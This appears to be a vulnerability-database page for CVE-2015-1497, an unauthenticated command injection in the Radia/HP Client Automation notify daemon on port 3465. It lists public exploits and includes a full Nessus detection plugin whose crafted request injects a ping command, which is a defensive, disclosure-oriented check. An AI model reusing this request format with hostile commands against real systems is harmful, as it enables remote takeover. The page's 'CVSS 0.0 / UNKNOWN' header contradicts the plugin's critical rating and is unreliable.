Vulnerabilities > CVE-2015-1497 - Code Injection vulnerability in Persistent Systems Radia Client Automation

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
persistent-systems
CWE-94
nessus
exploit available
metasploit

Summary

radexecd.exe in Persistent Systems Radia Client Automation (RCA) 7.9, 8.1, 9.0, and 9.1 allows remote attackers to execute arbitrary commands via a crafted request to TCP port 3465.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

  • descriptionPersistent Systems Client Automation Command Injection RCE. CVE-2015-1497. Remote exploit for windows platform
    fileexploits/windows/remote/36206.rb
    idEDB-ID:36206
    last seen2016-02-04
    modified2015-02-27
    platformwindows
    port3465
    published2015-02-27
    reporterBen Turner
    sourcehttps://www.exploit-db.com/download/36206/
    titlePersistent Systems Client Automation Command Injection RCE
    typeremote
  • descriptionHP Client Automation Command Injection. CVE-2015-1497. Remote exploits for multiple platform
    fileexploits/multiple/remote/36169.rb
    idEDB-ID:36169
    last seen2016-02-04
    modified2015-02-24
    platformmultiple
    port3465
    published2015-02-24
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/36169/
    titleHP Client Automation Command Injection
    typeremote
  • descriptionHP Client - Automation Command Injection / Remote Code Execution. CVE-2015-1497. Remote exploit for Multiple platform
    fileexploits/multiple/remote/40491.py
    idEDB-ID:40491
    last seen2016-10-10
    modified2016-10-10
    platformmultiple
    port
    published2016-10-10
    reporterSlidingWindow
    sourcehttps://www.exploit-db.com/download/40491/
    titleHP Client - Automation Command Injection / Remote Code Execution
    typeremote

Metasploit

descriptionThis module exploits a command injection vulnerability on HP Client Automation, distributed actually as Persistent Systems Client Automation. The vulnerability exists in the Notify Daemon (radexecd.exe), which doesn't authenticate execution requests by default. This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2 and CentOS 5.
idMSF:EXPLOIT/MULTI/MISC/PERSISTENT_HPCA_RADEXEC_EXEC
last seen2020-06-07
modified2017-07-24
published2015-02-20
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
titleHP Client Automation Command Injection

Nessus

NASL familyGeneral
NASL idRADEXECD_CVE-2015-1497.NASL
descriptionThe Persistent Systems Radia Client Automation (formerly HP Client Automation) agent listening on the remote port is affected by a command execution vulnerability due to a flaw in the radexecd.exe component. An unauthenticated, remote attacker can exploit this to execute arbitrary commands in the context of the radexecd process.
last seen2020-06-01
modified2020-06-02
plugin id86427
published2015-10-19
reporterThis script is Copyright (C) 2015-2019 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/86427
titlePersistent Systems Radia Client Automation Agent Command Injection
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(86427);
 script_version("1.8");
 script_cvs_date("Date: 2019/03/06 18:38:55");

 script_cve_id("CVE-2015-1497");
 script_bugtraq_id(72612);
 script_xref(name:"EDB-ID", value:"36169");
 script_xref(name:"EDB-ID", value:"36206");

 script_name(english:"Persistent Systems Radia Client Automation Agent Command Injection");
 script_summary(english:"Checks for a command execution vulnerability in Persistent Systems Radia Client Automation.");

 script_set_attribute(attribute:"synopsis", value:
"The Persistent Systems Radia Client Automation agent listening on the
remote port is affected by a command injection vulnerability.");
 script_set_attribute(attribute:"description", value:
"The Persistent Systems Radia Client Automation (formerly HP Client
Automation) agent listening on the remote port is affected by a
command execution vulnerability due to a flaw in the radexecd.exe
component. An unauthenticated, remote attacker can exploit this to
execute arbitrary commands in the context of the radexecd process."); 
 # https://support.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56b928e5");
 script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-038/");
 script_set_attribute(attribute:"solution", value:
"See the vendor advisory for a possible solution.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'HP Client Automation Command Injection');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/10");
 script_set_attribute(attribute:"plugin_publication_date", value:"2015/10/19");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:persistent_systems:radia_client_automation");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:client_automation_enterprise");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
 script_end_attributes();

 script_category(ACT_ATTACK);
 script_family(english:"General");
 script_copyright(english:"This script is Copyright (C) 2015-2019 Tenable Network Security, Inc.");

 script_dependencies("ovcm_notify_daemon_detect.nasl", "os_fingerprint.nasl");
 script_exclude_keys("global_settings/supplied_logins_only");
 script_require_keys("Services/radexecd");
 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("dump.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# The port for the Notify daemon (radexecd)
port = get_service(svc:'radexecd', default:3465, exit_on_fail:TRUE);

# Attack only if the detection plugin determines noauth is enabled 
# for radexecd 
if (get_kb_item("radexecd/" + port + "/noauth") != TRUE)
  exit(0, "User authentication for radexecd on port " + port + " seems to be enabled, skipping the attack.");

os = get_kb_item("Host/OS");
if(os && "windows" >< tolower(os))
{
  injected = 'cmd.exe /c ping ' + compat::this_host();
  cmd = 'hide hide"\t"' + injected;
}
# Injected command may fail if it is not available on the target 
# host, but a vulnerable server will still return '\x00' in response.
else
{
  injected = 'sh -c "ping -c 3 ' + compat::this_host() + '"';
  cmd = 'hide hide\t' + injected; 
}

s = open_sock_tcp(port);
if(!s) audit(AUDIT_SOCK_FAIL, port);

req = '\x00' +  # return port; insignificant
      'USER_' + SCRIPT_NAME + '\x00' +
      'PASS_' + SCRIPT_NAME + '\x00' +
      cmd + '\x00';

send(socket: s, data: req);
res = recv(socket: s, length:1024);
close(s);

if (isnull(res)) 
  audit(AUDIT_RESP_NOT, port, "a Notify request");

# Vulnerable
if (res == '\x00')
  security_hole(port: port);
else
  exit(0, "The service listening on port " + port + ' returned the following response, and is probably not affected.\n' + hexdump(ddata:res));
   

Packetstorm

Saint

bid72612
descriptionRadia Client Automation radexecd.exe command injection
osvdb118382
titleradia_client_automation_radexecd
typeremote